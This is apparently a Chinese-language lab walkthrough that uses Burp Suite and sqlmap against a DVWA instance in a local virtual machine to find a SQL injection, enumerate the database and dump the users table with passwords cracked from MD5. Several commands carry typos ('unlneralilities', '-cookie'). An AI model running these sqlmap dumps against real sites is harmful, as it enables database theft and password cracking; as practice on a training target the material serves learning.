kali和dvwa均在虚拟机中。

1、启动kali

2、启动dvwa,启动后地址为192.168.88.128

3、在kali中启动BP

4、在kali中启动firefox浏览器,设置代理为127.0.0.1,端口为8080,访问dvwa的sql injection页面,输入1,submit

5、在BP中查看http请求信息,记录:

url=“http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit”

cookies="security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6"

6、在kali中启动sqlmap,运行命令:

sqlmap -u  “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit”  -cookie  "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p  id  --batch

其中的参数p,表明注入使用的参数是id

--batch表示自动完成

-------------------------------------------------------------------------------------------------------运行结果

显示出DBMS为MYSQL,版本>=5.0

7、

运行命令:

sqlmap -u  “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit”  -cookie  "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p  id  --batch  --dbs

---------------------------------------------------------------------------运行结果

显示出数据库为dvwa

8、

运行命令:

sqlmap -u  “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit”  -cookie  "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p  id  --batch  -D dvwa  --tables

---------------------------------------------------------------------------运行结果

显示出表格为users,guestbook

9、运行命令:

sqlmap -u  “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit”  -cookie  "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p  id  --batch  -D dvwa -T users  --columns

---------------------------------------------------------------------------运行结果

显示出users表格解构

10、

运行命令:

sqlmap -u  “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit”  -cookie  "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p  id  --batch  -D dvwa  -T users  --dump

---------------------------------------------------------------------------运行结果

显示出users表格所以数据,其中用户密码已经从MD5还原为明文。

利用sqlmap比一个个测试快捷方便。

更多推荐